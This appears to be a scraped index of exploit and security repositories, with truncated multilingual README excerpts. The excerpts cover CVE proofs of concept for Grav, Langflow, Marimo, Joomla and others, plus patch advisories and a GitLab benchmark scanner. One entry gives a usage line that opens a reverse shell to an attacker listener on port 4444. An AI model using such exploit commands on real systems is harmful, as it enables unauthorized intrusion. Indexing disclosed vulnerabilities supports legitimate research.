CVE-2026-5562-Exploit

استغلال CVE-2026-5562 تحذير يحتوي هذا المستودع على سكربت بحثي لإثبات المفهوم PoC للتحقق من التعرض في بيئة خاضعة للتحكم. وهو لأغراض البحث والتعليم فقط، ولا ينبغي استخدامه ضد أنظمة الإنتاج التي لا تملك إذنًا لاستهدافها. تثبيت المتطلبات ثبّت تبعية بايثون من هذا الدليل: python3 -m pip install -r...

CVE-2021-21425-RCE

ceci est ma version, j'en ai trouvé beaucoup sur internet mais celles-ci sont trop mauvaises UTILISATION python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 attendez.. après 60 secondes vous obtiendrez un shell sur votre listener...

CVE-2026-39636-vulnerability-exp

1. قبل التشغيل هنا، يجب فتح burp suite（！！） و يجب أن يكون منفذ burp suite الافتراضي هو 8080، إذا كان مختلفًا يمكنك تغييره بنفسك 2. تحميل المكتبات المطلوبة pip install websockets==16.0 -i https://pypi.tuna.tsinghua.edu.cn/simple 3. قم بتشغيله مباشرة CVE-2026-39363 سيناريو الاستغلال الفردي هنا يجب...

CVE-2019-9053-CMS-Made-Simple-2.2.10---SQL-Injection-Exploit

CMS-Made-Simple-2.2.10---SQL-Injection-Exploit-مع-تصحيح-الأخطاء تم تصحيح الأكسلويت لدعم بايثون 3 CVE-2019-9053 مصدر الأكسلويت الأصلي: https://www.exploit-db.com/exploits/46635 خطأ محتمل وتصحيحه Traceback most recent call last: File "46635.py", line 12, in from termcolor import colored ImportError...

CVE-2026-33017-Langflow-RCE

CVE-2026-33017 - Vulnérabilité RCE dans Langflow xpl0ité par infrar3d Cette preuve de concept cible une vulnérabilité critique d'exécution de code à distance RCE dans les versions de Langflow antérieures à 1.9.0. La vulnérabilité permet à des attaquants non authentifiés d'exécuter des commandes...

serialator

serialator Script Python pour exploiter CVE-2015-4852. Description Lors d'une mission récente, j'ai constaté que Nessus exploitait désormais activement les vulnérabilités pour confirmation. En vérifiant le script nasl associé, j'ai trouvé que la charge utile était suffisamment générique pour être...

CIS GitLab Benchmark Scanner

Scanner du benchmark CIS GitLab - gitlabcis Contexte Le 17 avril 2024, GitLab™ a publié un article de blog présentant son benchmark GitLab du Center for Internet Security® CIS. L'objectif est d'améliorer la sécurité du produit et d'offrir des recommandations de durcissement aux clients de GitLab...

ROOT-APP-PYPI-CVE-2026-34993 CVE-2026-34993 in aiohttp - Patched by Root

Root has patched CVE-2026-34993 in the aiohttp package for Root:PyPI. Multiple fixed versions available...

OPENSUSE-SU-2026:22028-1 Security update for python-fsspec

This update for python-fsspec fixes the following issues: Changes in python-fsspec: - CVE-2026-104851: python-fsspec: remote code execution via server-side template injection in ReferenceFileSystem bsc1284173...

CVE-2026-39987-marimo-rce

CVE-2026-39987 - RCE قبل المصادقة في Marimo Unauthenticated Remote Code Execution in Marimo via WebSocket Terminal 📌 نظرة عامة CVE-2026-39987 هي ثغرة حرجة لتنفيذ الأوامر عن بعد قبل المصادقة تؤثر على إصدارات Marimo الأقدم من 0.23.0. نقطة النهاية WebSocket /terminal/ws تتجاوز المصادقة بشكل كامل، مم...

CVE-2026-48907

CVE-2026-48907 TODO تهيئة CVE خاص ⚡ الاستخدام البسيط استخدم هذا المشروع فقط في بيئات آمنة ومرخّص بها، مثل: الأجهزة الافتراضية المحلية حاويات Docker إعدادات المختبرات المعزولة بيئات اختبار الاختراق المرخّصة مثال على الإعداد: git clone cd Project use python follow below Create a virtual environment...

ntoskrnl-metadata

ntoskrnl-metadata Un script Python pour IDA permettant d'extraire des métadonnées critiques du noyau à partir des binaires Windows ntoskrnl.exe. Cet outil extrait automatiquement les RVA de fonctions et les offsets de structure EPROCESS nécessaires au développement d'exploits ciblant CVE-2026-403...

CVE-2025-4138_tarfile_filter_bypass

CVE-2025-4138 — Contournement de Python tarfile filter="data" Écriture arbitraire de fichiers en dehors du répertoire d'extraction via une chaîne de liens symboliques PATHMAX. Versions concernées Python 3.12.0 – 3.12.10 Python 3.13.0 – 3.13.3 Corrigé dans 3.12.11 / 3.13.4 Crédits : Signaleur :...

ROOT-APP-PYPI-CVE-2023-49082 CVE-2023-49082 in aiohttp - Patched by Root

Root has patched CVE-2023-49082 in the aiohttp package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2024-23829 CVE-2024-23829 in aiohttp - Patched by Root

Root has patched CVE-2024-23829 in the aiohttp package for Root:PyPI. Multiple fixed versions available...

CVE-2021-41773-Apache-Lab

CVE-2021-41773 — Laboratoire Apache HTTP Server 2.4.49 Reproduction de CVE-2021-41773 , une vulnérabilité de traversée de chemin dans Apache HTTP Server 2.4.49. Ce projet utilise Docker pour créer un environnement vulnérable isolé et un PoC Python pour démontrer la divulgation contrôlée de...

CVE-2022-25477

CVE-2022-25477 ⚡ استخدام بسيط استخدم هذا المشروع فقط في البيئات الآمنة والمصرح بها مثل: الأجهزة الافتراضية المحلية حاويات Docker إعدادات المختبرات المعزولة بيئات اختبار الاختراق المصرح بها مثال على الإعداد: git clone cd Project use python follow below Create a virtual environment python -m venv...

CVE-2023-23752

هذا هو تحويل من لغة Ruby إلى Python للثغرة Joomla! v4.2.8 - كشف معلومات غير مصادق عليه. هذا الكود موجود في Exploit-DB مكتوب بلغة Ruby بواسطة ALEXANDRE ZANNI. كان لدي بعض المشاكل مع مكتبات Ruby وقررت تحويل الكود إلى Python واشتغل بشكل جيد. يعمل بنفس طريقة إصدار Ruby. يمكنك العثور على النسخة الأصلي...

Python-Shellcode-Anydesk-Apc-injection-Remote-IP-Address-Analysis

1.x64dbg – Opérations sur fichiers et trampolines JMP Cette vue x64dbg révèle que le shellcode Python utilise des opérations sur fichiers CreateFileW, DeleteFileA/W et des trampolines JMP pour appeler dynamiquement des API Windows. Observations clés : CreateFileW – Crée ou ouvre un fichier dépôt ...

CVE-2026-15410

cve-id ⚡ Utilisation simple Utilisez ce projet uniquement dans des environnements sûrs et autorisés, tels que : Machines virtuelles locales Conteneurs Docker Configurations de laboratoire isolées Environnements de test d'intrusion autorisés Exemple de configuration : git clone cd Project use pyth...